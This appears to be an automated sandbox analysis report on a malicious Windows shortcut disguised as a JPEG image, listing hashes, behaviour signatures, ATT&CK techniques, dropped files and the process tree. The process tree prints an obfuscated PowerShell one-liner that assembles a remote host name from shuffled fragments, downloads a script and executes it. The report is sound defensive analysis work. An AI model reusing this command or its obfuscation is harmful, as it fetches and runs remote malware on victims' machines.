8b18981fd23e181553ea4946a9869787721de6de56b03d588b6c3afe8bc3fe1a

Analysis

max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_041047.jpg.lnk
Size 1KB
Sample260728-mcaeaathre
SHA256 8b18981fd23e181553ea4946a9869787721de6de56b03d588b6c3afe8bc3fe1a
MD5 6a3daee1a7b29d90b43bd384c1b085f3
SHA1 ff9cd6b7ae43d35a524c1b12e9c19085d4f0fe2f
SHA512 bd607b885c75e72ffddd3febd3c27d1fce07a2e60200402db09592c524bd9e7abbb046f59112ffe8b9a6e79f46c8d29b49d9f0a11213f0e27664ff18b84267dc
TLSH
T1BE31D2299BF20329D6BB8B395877631197217B0EDA4C8FDF1280C1949965121FC78F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5060	powershell.exe
3	5060	powershell.exe
5	5060	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4324	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5060	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 5060	4324	cmd.exe	90
PID 5060 wrote to memory of 1952	5060	powershell.exe	91
PID 1952 wrote to memory of 5884	1952	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_041047.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('oto','t','hop','ph','re','i','aynow.s','ser','ns','v')[4,7,9,3,0,5,8,1,6,2] -join $ml388mmZ) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5E62.tmp" "c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\CSCBA05F795366E4645B6FD8217BA5612F1.TMP"
      4⤵
      PID:5884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES5E62.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5E62.tmp
Size 1KB
SHA256 a744334a51ac2284d3b28826bd07b3ed3a0b4c2b960f01b138ccae342bee3eb3
MD5 18fda80af6ecaee9f894d3240982f157
SHA1 fb00cdcb1f18d68f57815c0f8490d6ac6e84c5ca
SHA512 76105712bc1797ca68f5b5e222d8dc98e0fe7e14c295c57e2a4c0d71cd2117cb35ef254ac42e1e506a4e17f15fc30a558ecdd565bae8585a405c2f74bd230da7
TLSH
T13521CC4583EA470FF077573269F6435BA238FD54EFA2675B854002282C12504EFE0F72
MD5 SHA1 SHA512 TLSH

Submit Download

r3cxy2eb.dll

Path C:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.dll
Size 3KB
SHA256 fb733ccff98d97cc8cd39dfb41429c5bf1269cea4bc36de88542d14d9a511597
MD5 5456dffb08ab1419e220fbef3cc9d047
SHA1 ce3e48fddfbedf78ccfe92056faf93a5934810e7
SHA512 376f810ac9fc07493efcc6ee4f019641c3d1a9a30a2671da08efea042680df0939af0454e15a4910193527708635a21d7ead4ff2a390bf483fcf13c10b6d0265
TLSH
T1A551CC1A97E9456BE8670734AEF3035737B4F8109FB2576D5A800229AC217546E31BB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSCBA05F795366E4645B6FD8217BA5612F1.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\CSCBA05F795366E4645B6FD8217BA5612F1.TMP
Size 652B
SHA256 99adb3d9ee5db3546af818bf1daa1d9669dc7073b6f7263f195796ee6c856b64
MD5 5e25a131bc8e9866e5c3b8b30453705c
SHA1 ae6cff6b4b3efba49687b7d5c6d9fbf6ad939d14
SHA512 a25932cf369cab34a0f63438dcad1abaff58fc5870983b2d0fa1837d3fe1acc367dba14c552f722ec6cf8142f9f7b9407ab54d8b8410f66e41e405163057bc61
TLSH
T18CF0544963F8120EF0F35B30BDF643A39569BC65EE7253ED1580031918745109A71F72
MD5 SHA1 SHA512 TLSH

Submit Download

r3cxy2eb.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

r3cxy2eb.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\r3cxy2eb\r3cxy2eb.cmdline
Size 369B
SHA256 ffab0889ed7ab54f187d9fa8dc7da85812cdee4b5bc51c436d8749becf95f522
MD5 e91a680bc575b0cb50c008ab493f80b1
SHA1 8ca3f4636a4100b28ee062504b92ddd618673c35
SHA512 bbae966c08ecdeb11c54a6f192e32e4b5f46fb23123bc7de20a502804f37249ff6879c2f1a5b3b8b83304758b4bca29f1ef090dcf927a21ba14fea84bbfb3334
TLSH
T114E0C07B4347C27D0DDD10072179C7ACC272475329503F8A5258440DD017014AFE3B41
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5060-9-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-8-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-11-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-12-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-13-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-14-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-2-0x00007FF9BC2AF000-0x00007FF9BC2B0000-memory.dmp

Download

memory/5060-10-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-27-0x0000028AF61E0000-0x0000028AF61E8000-memory.dmp

Download

memory/5060-7-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-6-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-5-0x0000028AF61A0000-0x0000028AF61C2000-memory.dmp

Download

memory/5060-28-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-29-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download

memory/5060-32-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

Download